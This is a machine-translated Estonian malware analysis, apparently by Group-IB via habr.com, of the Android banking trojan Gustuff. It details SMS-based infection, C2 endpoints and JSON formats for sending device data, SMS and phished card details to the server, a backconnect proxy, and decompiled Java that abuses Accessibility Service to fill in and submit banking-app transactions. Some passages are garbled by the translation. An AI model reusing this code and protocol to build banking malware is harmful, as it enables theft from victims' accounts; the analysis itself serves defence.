Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krüptoraha varastab

Äsja teatas Group-IB et Android-trooja Gustuffi aktiivsusest. See töötab vaid rahvusvahelistel turgudel, ründades 100 suurima välismaise panga kliente, 32 populaarse mobiilse krüptoraha rahakoti kasutajaid ning suuri e-kaubanduse platvorme. Gustuffi arendajal on vene häkker nimega Bestoffer. Veel hiljuti reklaamis ta oma troojat kui "tõsist toodet inimestele, kellel on teadmised ja kogemus."

Group-IB kahjurprogrammide analüüsiekspert Ivan Pisarjev oma uurimuses räägib põhjalikult, kuidas Gustuff töötab ja milles seisneb selle oht.

Keda ründab Gustuff

Gustuff kuulub uue põlvkonna kahjurprogrammide hulka, millel on täielikult automatiseeritud funktsioonid. Arendaja sõnul on trooja saanud uue, täiustatud versiooni kahjurprogrammist AndyBot, mis alates novembrist 2017 ründab Androidi operatsioonisüsteemiga telefone ja varastab raha läbi kalastamisveebivormide, mis maskeerivad end tuntud rahvusvaheliste pankade ja maksesüsteemide mobiilirakendustena. Bestoffer teatas, et "Gustuff Boti" rendihind oli 800 dollarit kuus.

Gustuffi proovide analüüs näitas, et trooja on potentsiaalselt suunatud klientidele, kes kasutavad suurimate pankade mobiilirakendusi, nagu Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, samuti Bitcoin Wallet, BitPay, Cryptopay, Coinbase ja teised krüptoraha rahakotid.

Algselt klassikalise pangatrooijana loodud Gustuff on praeguses versioonis oluliselt laienenud potentsiaalsete rünnakuobjektide loetelu. Lisaks pankade, finantstehnoloogia ettevõtete ja krüptoteenuste Android-rakendustele on Gustuff suunatud ka turuplatvormide, veebipoodide, maksesüsteemide ja sõnumsiderakenduste kasutajatele. Eriti PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ja teised.

Sisenemispunkt: massilise nakatumise arvestamine

Gustuff'i iseloomustab klassikaline sissetungi vektor Android-smartfonidesse SMS-saadetiste kaudu, mis sisaldavad linke APK-dele. Kui Android-seade nakatub troojalasega, võib serveri käsul Gustuff levida nakatunud telefoni kontaktide baasidesse või serveri andmebaasidesse. Gustuff'i funktsionaalsus on suunatud massilisele nakatumisele ja oma operaatorite äride maksimaalsele kapitaliseerimisele – see sisaldab ainulaadset "automaatlaadimise" funktsiooni õiguspärastes mobiilsetes pangarakendustes ja krüptorahakottides, mis võimaldab kiirendada ja suurendada raha vargust.

Troojalase uuring näitas, et automaatlaadimise funktsioon on rakendatud tänu Accessibility Service'ile — teenusele, mis on mõeldud piiratud võimalustega inimestele. Gustuff ei ole esimene troojalane, mis suudab tõhusalt ületada kaitset, mis takistab teiste rakenduste akende elementidega suhtlemist, kasutades seda Androidi teenust. Siiski jääb Accessibility Service'i kasutamine koos automaatlaadimisega endiselt üsna haruldaseks nähtuseks.

Pärast Gustuff'i allalaadimist ohvri telefonile saab see, kasutades Accessibility Service'i, suhelda teiste rakenduste (pangandus-, krüptovaluuta-, online-ostlemise, sõnumitoomise jms) akende elementidega, tehes vajalikud tegevused kurjategijate jaoks. Näiteks serveri käsu alusel võib troojalane vajutada nuppe ja muuta tekstiväljade väärtusi pangarakendustes. Accessibility Service'i mehhanismi kasutamine võimaldab troojal vältida panganduse kaitsemehhanisme, mis on suunatud eelmise põlvkonna mobiilsete troojalaste vastu, samuti Google'i uute Android-i versioonide turvapoliitika muudatusi. Nii on Gustuff "võimeline" välja lülitama Google Protect'i kaitse: autori sõnul töötab see funktsioon 70% juhtudest.

Samuti võib Gustuff demonstreerida vale PUSH-teateid, millel on seaduslike mobiilirakenduste ikoonid. Kasutaja klõpsab PUSH-teatele ja näeb serverist laaditud phishing-aken, kuhu ta ise sisestab nõutud pangakaardi või krüptorahakoti andmed. Teises tööstsenaariumis avatakse rakendus, mille nimel PUSH-teade demonstreeriti. Sel juhul võib pahavara serveri käsul läbi Accessibility Service täita pangarakenduse vormi väljad petliku tehingu jaoks.

Gustuffi funktsioonide hulka kuulub ka teabe saatmine serverisse nakatunud seadme kohta, SMS-ite lugemine/saatmine, USSD-päringute saatmine, SOCKS5 Proxy käivitamine, linkidele minek, failide (sealhulgas dokumentide fotokoopiate, ekraanipiltide, fotode) saatmine serverisse, seadme lähtestamine tehasesätetele.

Pahavara analüüs

Enne pahavara rakenduse installimist näitab Android OS kasutajale akent, mis sisaldab Gustuff’i taotletud õiguste loetelu:

Rakenduse installimine toimub ainult pärast kasutaja nõusoleku saamist. Pärast rakenduse käivitamist näitab trooja kasutajale akent:

Pärast seda kustutab see oma ikooni.

Gustuff on pakitud, autori sõnul, FTT pakkijaga. Pärast käivitamist pöördub rakendus perioodiliselt CnC-serveri poole, et saada käske. Meie uuritud failides kasutati juhtimisseadmeks IP-aadressi. 88.99.171[.]105 (edaspidi nimetame seda <%CnC%>).

Pärast käivitamist hakkab programm saatma teateid serverisse http:///api/v1/get.php.

Vastuseks oodatakse JSON järgmises formaadis:

{
    "results" : "OK",
    "command":{
        "id": "",
        "command":"",
        "timestamp":"",
        "params":{
		
        },
    },
}

Iga kord, kui rakendus pöördub, saadab see teavet nakatunud seadme kohta. Teate formaat on esitatud allpool. Tasub märkida, et väljad full, extra, apps ja permission on valikuline ja saadetakse ainult CnC küsimiskuule vastuseks.

{
 "info":
 {
 "info":
 {
 "cell":,
 "country":,
 "imei":,
 "number":,
 "line1Number":,
 "advertisementId":
 },
 "state":
 {
 "admin":,
 "source":,
 "needPermissions":,
 "accesByName":,
 "accesByService":,
 "safetyNet":,
 "defaultSmsApp":,
 "isDefaultSmsApp":,
 "dateTime":,
 "batteryLevel":
 },
 "socks":
 {
 "id":,
 "enabled":,
 "active":
 },
 "version":
 {
 "versionName":,
 "versionCode":,
 "lastUpdateTime":,
 "tag":,
 "targetSdkVersion":,
 "buildConfigTimestamp":1541309066721
 },
 },
 "full":
 {
 "model":,
 "localeCountry":,
 "localeLang":,
 "accounts":,
 "lockType":
 },
 "extra":
 {
 "serial":,
 "board":,
 "brand":,
 "user":,
 "device":,
 "display":,
 "id":,
 "manufacturer":,
 "model":,
 "product":,
 "tags":,
 "type":,
 "imei":,
 "imsi":,
 "line1number":,
 "iccid":,
 "mcc":,
 "mnc":,
 "cellid":,
 "lac":,
 "androidid":,
 "ssid":
 },
 "apps":{},
 "permission":
} 

Konfigureerimisandmete säilitamine

Gustuff salvestab tööks olulist teavet preference-failis. Faili nimi ja parameetrite nimed on MD5-kokkuvõtte väljund. 15413090667214.6.1, kus <%name%> — algne nime-väärtuse paar. Python'i tõlgendus nime genereerimise funktsioonist:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Edasi nimetame seda kui nameGenerator(input).
Nii on esimese faili nimi: nameGenerator(«API_SERVER_LIST»), see sisaldab järgmiste nimedega väärtusi:

Käskude töötlemise moodul serverilt

Rakendus salvestab CnC-serverite aadresse kooditud massiivina Base85 stringid. CnC nimekiri - serverid võib muutuda vastava käsu vastuvõtmisel, seejuures salvestatakse aadressid preference-faili.

Server saadab rakendusele käsu vastuseks päringule. Tuleb märkida, et käsud ja parameetrid on esitatud JSON-formaadis. Rakendus suudab töödelda järgmisi käske:

Käskude formaat teade:

{
 "results" : "OK",
 "command":{
 "id": ,
 "command":"notification",
 "timestamp":,
 "params":{
 "openApp":,
 "array":[
 {"title":,
 "desc":,
 "app":}
 ]
 },
 },
}

Teade, mida loob uuritav fail, näeb välja identne rakenduse genereeritud teadetega, mis on määratud väljade. app. Kui väli openApp — True, rakendust, mis on määratud väljale, avatakse teate avamisel. app. Kui väli openApp — False, siis:

• avatakse valeidentiteedi aken, mille sisu laaditakse kataloogist /hgps/
• avatakse valeidentiteedi aken, mille sisu laaditakse serverilt ?id=&app=
• avatakse valeidentiteedi aken, mis on maskeeritud Google Play Card'i alla, võimalusega sisestada kaardi andmed.

Iga käsu täitmise tulemus saadetakse rakenduselt set_state.php JSON-objekti kujul järgmises formaadis:

{
    "command":
    {
        "command":,
        "id":,
        "state":
    }
    "id":
}

ActionsService
Rakenduse töödeldavate käskude hulka kuulub tegevus. Käskude saamisel pöördub käskude töötlemise moodul selle teenuse poole, et täita laiendatud käsku. Teenus võtab parameetrina JSON-objekti. Teenus saab täita järgmisi käske:

1. PARAMS_ACTION — kui selline käsk saadakse, siis teenus kõigepealt võtab JSON-parameetrist väärtuse võtme järgi Type, mis võib olla järgmine:

• serviceInfo – alamskäsk võtab JSON-parameetrist väärtuse võtme järgi includeNotImportant. Kui lipp on True — rakendus seab lipu FLAG_ISOLATED_PROCESS teenusele, mis kasutab Accessibility Service. Seega töötab teenus eraldi protsessis.
• root — saada ja saata serverisse teave akna kohta, mis praegu on fookuses. Rakendus saab teabe klassi AccessibilityNodeInfo abil.
• admin — taotleda administraatori õigusi.
• delay — peatada ActionsService tegevuse nii palju millisekunde, kui on näidatud võtme „data“ parameetris.
• windows — saata nähtavate akende loetelu kasutajale.
• install — installida rakendus nakatatud seadmesse. Paketi nimi — arhiiv asub võtmes „fileName“. Ükski arhiiv asub kaustas Downloads.
• global – alamskäsk, mis on ette nähtud praegusest aknast liikuda:
  • kiire seadete menüüsse
  • tagasi
  • avalehele
  • teavitustele
  • hiljuti avatud rakenduste aknasse

• launch — käivitada rakendus. Rakenduse nimetus tuleb parameetrina võtme data.
• sounds — muuta heli režiim vaikseks.
• unlock — lülitab ekraani ja klaviatuuri täieliku valgustuse sisse. Rakendus sooritab selle toimingu WakeLock'i abil, tagades sildi [Application lable]:INFO
• permissionOverlay — funktsioon pole realiseeritud (käskluse täitmise vastus — {„message“:„Not support“} või {„message“:„low sdk“})
• gesture — funktsioon pole realiseeritud (käskluse täitmise vastus — {„message“:„Not support“} või {„message“:„Low API“})
• permissions — see käsk on vajalik rakenduse õiguste taotlemiseks. Kuid taotluse funktsioon pole realiseeritud, seega pole käsk mõttekas. Taotletud õiguste loetelu tuleb JSON-massiivina võtmega „permissions“. Standardne loetelu:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.SEND_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• open — kuvada ekraanile petusakna. Sõltuvalt serverist saadud parameetrist võib rakendus kuvada järgmisi petusaknaid:
  • Kuvada petusaken, mille sisu on määratletud failis kaustas /hgps/Kasutaja suhtlemise tulemus aknaga saadetakse aadressile /records.php
  • Kuva petusakna, mille sisu eelnevalt laaditakse aadressilt ?id=&app=Kasutaja suhtlemise tulemus aknaga saadetakse aadressile /records.php
  • Kuva petusakna, mis on maskeeritud Google Play kaardina.

• interaktiivne — käsk on ette nähtud suhtlemiseks teiste rakenduste akende elementidega läbi AccessibilityService. Suhtlemiseks on rakenduses rakendatud spetsiaalne teenus. Uuritud rakendus võib suhelda akendega:
  • Aktiveeritud hetkel. Sel juhul sisaldab parameeter objekti id-d või teksti (nimetust), millega on vajalik suhelda.
  • Kasutajale nähtavad täitmise hetkel. Rakendus valib aknad id järgi.

  Saades objektid AccessibilityNodeInfo huvitavate aknaelementide jaoks saab rakendus sõltuvalt parameetritest teostada toiminguid:

  • focus — fookuse seadmine objektile.
  • click — klikkida objektile.
  • actionId — teostada toiming ID järgi.
  • setText — muuta objekti teksti. Teksti muutmine on võimalik kahel viisil: teostades toimingu ACTION_SET_TEXT (kui nakatunud seadme Androidi versioon on vanem või võrdne LOLLIPOP), või kopeerides tekst lõikepanka ja kleepides selle objekti (vanemate versioonide jaoks). Seda käsku saab kasutada andmete muutmiseks pangarakenduses.

2. PARAMS_ACTIONS — sama, mis PARAMS_ACTION, ainult saabub JSON-massiiv käskudest.

Tundub, et paljusid huvitab, kuidas näeb välja funktsioon suhtlemiseks teise rakenduse aknaelementidega. Nii on see funktsionaalsus Gustuff'is rakendatud:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksti asendamise funktsioon:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Seega, kui juhtserver on õigesti seadistatud, suudab Gustuff täita tekstiväljad pangarakenduses ja vajutada tehingute tegemiseks vajalikke nuppe. Troojal pole isegi vaja rakendusse autentida — piisab, kui saata käsk PUSH-teate kuvamiseks koos eelnevalt installitud pangarakenduse avamisega. Kasutaja läbib autentimise ise, pärast mida suudab Gustuff automaatse täitmise teostada.

SMS-sõnumite töötlemismoodul

Rakendus seab nakatunud seadmes SMS-sõnumite vastuvõtmise sündmuse töötleja. Uuritav rakendus võib vastu võtta käske operaatorilt, mis saadetakse SMS-sõnumi kehas. Käskude formaat on:

7!5=

Rakendus otsib kõigist saabunud SMS-sõnumitest stringi 7!5=, kui rida avastatakse – dekodeerib Base64 stringi nihkega 4 ja täidab käsu. Käsklused on sarnased CnC käskluste omadega. Täitmise tulemus saadetakse samale numbrile, kust käsk tuli. Vastuse formaat:

7*5=

Valikuliselt võib rakendus saata kõik vastuvõetud sõnumid Root-numbrile. Selleks peab preference-failis olema määratud Root-number ja lubatud sõnumite ümbersuunamise lipp. SMS-sõnum saadetakse kurjategija numbrile järgnevate vormingus:

—

Samuti võib rakendus valikuliselt saata sõnumeid CnC-le. SMS-sõnum saadetakse serverisse JSON-vormingus:

{
    "id":,
    "sms":
    {
        "text":,
        "number":,
        "date":
    }
}

Kui lipp on seatud nameGenerator(«DEFAULT_APP_SMS») – rakendus peatab SMS-sõnumi töötlemise ja tühjendab sissetulevate sõnumite loendi.

Proxy-moodul

Uuritavas rakenduses on olemas Backconnect Proxy moodul (edaspidi Proxy-moodul), millel on eraldi klass, mis sisaldab staatilisi välju konfiguratsiooniga. Konfigureerimisandmed salvestatakse semple sätteid avatud kujul:

Kõik Proxy-mooduli läbi viidud toimingud registreeritakse failidesse. Selleks loob rakendus External Storage'is kausta nimega "logs" (välja ProxyConfigClass.logsDir konfiguratsiooniklassis), milles hoitakse logifailid. Logimine toimub failidesse, mille nimed on:

1. main.txt – selle faili logitakse klassi CommandServer töö, hiljem tähistame stringi str logimist sellesse faili kui mainLog(str).
2. session-.txt — sellesse faili salvestatakse logiandmed, mis on seotud kindla proxy sessiooniga. Hiljem tähistame stringi str logimist sellesse faili kui sessionLog(str).
3. server.txt – selle faili logitakse kõik andmed, mis salvestatakse eelpool nimetatud failidesse.

Logiandmete formaat:

[Thread, id[]]: log-string

Proxy-mooduli töö käigus tekkivad erandid logitakse samuti faili. Selleks koostab rakendus JSON-objekti formaadis:

{
 "uncaughtException":
 "thread":
 "message":
 "trace": //Stack trace info
 [
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 },
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 }
 ]
}

Pärast seda muudetakse see stringiks ja logitakse.

Proxy-mooduli käivitamine toimub pärast vastava käsu saamist. Kui käsk saabub Proxy-mooduli käivitamiseks, käivitab rakendus teenuse nimega MainService, mis vastutab Proxy-mooduli töö juhtimise eest – selle käivitamise ja peatamise eest.

Teenuse käivitamise etapid:

1. Käivitab taimeri, mis käivitub kord minutis ja kontrollib Proxy-mooduli aktiivsust. Kui moodul ei ole aktiivne – käivitab selle.
Samuti käivitatakse Proxy-moodul sündmuse tekkimisel android.net.conn.CONNECTIVITY_CHANGE .

2. Rakendus loob wake-lock'i parameetriga PARTIAL_WAKE_LOCK ja hoiab selle kinni. Nii ei lase seadme CPU-l magamisse minna.

3. Käivitab Proxy-mooduli käsitlemise klassi, eelnevalt logides rea mainLog(«start server») ja

Server::start() host[], commandPort[], proxyPort[]

kus proxy_cnc, command_port ja proxy_port – parameetrid, mis saadi Proxy-serveri konfiguratsioonist.

Klassi, mis käsitleb käske, nimetatakse CommandConnection. Koheselt pärast käivitamist täidab see järgmised toimingud:

4. Ühendub ProxyConfigClass.host: ProxyConfigClass.commandPort ja saadab sinna nakkunud seadme andmed JSON-formaadis:

{
    "id":,
    "imei":,
    "imsi":,
    "model":,
    "manufacturer":,
    "androidVersion":,
    "country":,
    "partnerId":,
    "packageName":,
    "networkType":,
    "hasGsmSupport":,
    "simReady":,
    "simCountry":,
    "networkOperator":,
    "simOperator":,
    "version":
}

Kus:

• id – identifikaator, proovib saada Shared Preference failist nimega «x» väärtust välja väljaga «id». Kui seda väärtust ei õnnestu saada – genereerib uue. Nii on Proxy-moodulil oma identifikaator, mis genereeritakse sarnaselt Bot ID-le.
• imei – seadme IMEI. Kui väärtuse saamisel esines viga – selle välja asemel salvestatakse tekstsõnum vigast.
• imsi — Rahvusvaheline mobiilse abonendi identiteet seadmes. Kui väärtuse määramisel esines viga, salvestatakse selle asemel teatevälja tekstiviga.
• model — Lõppkasutajale nähtav toote nimi.
• manufacturer — Toote/riistvara tootja (Build.MANUFACTURER).
• androidVersion — string formaadis «<%release_version%> (<%os_version%>),<%sdk_version%>»
• country — seadme praegune asukoht.
• partnerId – tühi string.
• packageName – paketi nimi.
• networkType — praeguse võrguühenduse tüüp (näide: «WIFI», «MOBILE»). Vea korral tagastab null.
• hasGsmSupport – true – kui telefon toetab GSM-i, muidu false.
• simReady – SIM-kaardi seisund.
• simCountry — ISO-kood riigist (SIM-kaardi teenusepakkuja põhjal).
• networkOperator — operaatori nimekiri. Kui väärtuse määramisel esines viga, salvestatakse selle asemel teatevälja tekstiviga.
• simOperator — Teenusepakkuja nimi (SPN). Kui väärtuse määramisel esines viga, salvestatakse selle asemel teatevälja tekstiviga.
• version — see väli salvestatakse konfiguratsiooni klassis, uuritavate roboti versioonide jaoks oli see «1.6».

5. Lülitub serverilt käsu ootamise režiimi. Käsud serverilt saadetakse järgmises formaadis:

• 0 offset – käsk
• 1 offset – sessionId
• 2 offset – pikkus
• 4 offset — andmed

Käskude saamisel logib rakendus:
mainLog(«Pealkiri { sessionId<%id%>], tüüp[<%command%>], pikkus[<%length%>] }»)

Serverilt võivad tulla järgmised käsud:

PONG-sõnum koosneb 4 baitist ja näeb välja järgmine: 0x04000000.

Kui saabub käsk connectionId (uue ühenduse loomine) CommandConnection loodakse klassi eksemplar ProxyConnection.

• Proxeerimisel osaleb kaks klassi: ProxyConnection ja lõpeta. Klass loodakse ProxyConnection toimub ühendamine aadressiga ProxyConfigClass.host: ProxyConfigClass.proxyPort ja edastatakse JSON objekt:

 {
    "id":<%connectionId%>
}

Vastuseks saadab server SOCKS5 sõnumi, mis sisaldab distantserveri aadressi, millega tuleb ühendus luua. Suhtlemine selle serveriga toimub klassi kaudu lõpeta. Ühenduse loomist saab visuaalselt ette kujutada järgmiselt:

Võrgusuhted

Kasutajate vahelise liikluse analüüsi vältimiseks saavad CnC-server ja rakendus SSL-protokolli abil omavahel suhelda. Kõik edastatavad andmed serverist ja serverisse on esitatud JSON-formaadis. Rakendus täidab oma töö käigus järgmisi päringuid:

• http:///api/v1/set_state.php — käsu täitmise tulemus.
• http:///api/v1/get.php — käsu saamine.
• http:///api/v1/load_sms.php — SMS-sõnumite allalaadimine nakatunud seadmest.
• http:///api/v1/load_ab.php — kontaktide loendi allalaadimine nakatunud seadmest.
• http:///api/v1/aevents.php – päring tehakse parameetrite värskendamisel preference-failis.
• http:///api/v1/set_card.php — andmete allalaadimine, mis on saadud kalastamisakna kaudu, maskeerituna Google Play turuna.
• http:///api/v1/logs.php – logi andmete allalaadimine.
• http:///api/v1/records.php – andmete allalaadimine, mis on saadud kalastamisakende kaudu.
• http:///api/v1/set_error.php – teade tekkinud veast.

Soovitused

Kaitsmiseks mobiilsete troojalaste ohu eest peaksid ettevõtted kasutama kompleksseid lahendusi, mis võimaldavad jälgida ja hoiatada pahatahtlikest tegevustest ilma, et kasutajad peaksid lisatarkvara seadmetesse installima.

Selleks tuleb troojalaste avastamise signatuurimeetodeid tugevdada käitumise analüüsi tehnoloogiate abil nii kliendi kui ka rakenduse enda kohta. Kaitse peaks samuti sisaldama seadmete identifitseerimise funktsiooni digitaalsete sõrmejälgede tehnologiat kasutades, mis võimaldab mõista, kui kontot kasutatakse ebatüüpilisest seadmest ja see on juba jõudnud petiste kätte.

Oluline on, et oleks võimalik teostada ristkanalite analüüsi, mis võimaldab ettevõtetel jälgida riske, mis tekivad mitte ainult interneti, vaid ka mobiili kanalil, näiteks mobiilipanga rakendustes, krüptorahaga tehingutes ja muudes, kus võib toimuda rahatehing.

Ohutusreeglid kasutajatele:

• ärge installige Androidi seadme rakendusi mingitest allikatest, välja arvatud Google Play, ja pöörake erilist tähelepanu rakenduse nõutud õigustele;
• installige regulaarselt Androidi operatsioonisüsteemi uuendusi.
• pöörama tähelepanu üles laaditavate failide ekstensiotele;
• ärge külastage kahtlaseid resursse;
• ärge klõpsake SMS-sõnumites saadud linkidele.

Osalusel Rogachevi seemned, madalamal tasemel kahjurite uurimise spetsialist Computer Forensics Lab Group-IB.

Allikas: habr.com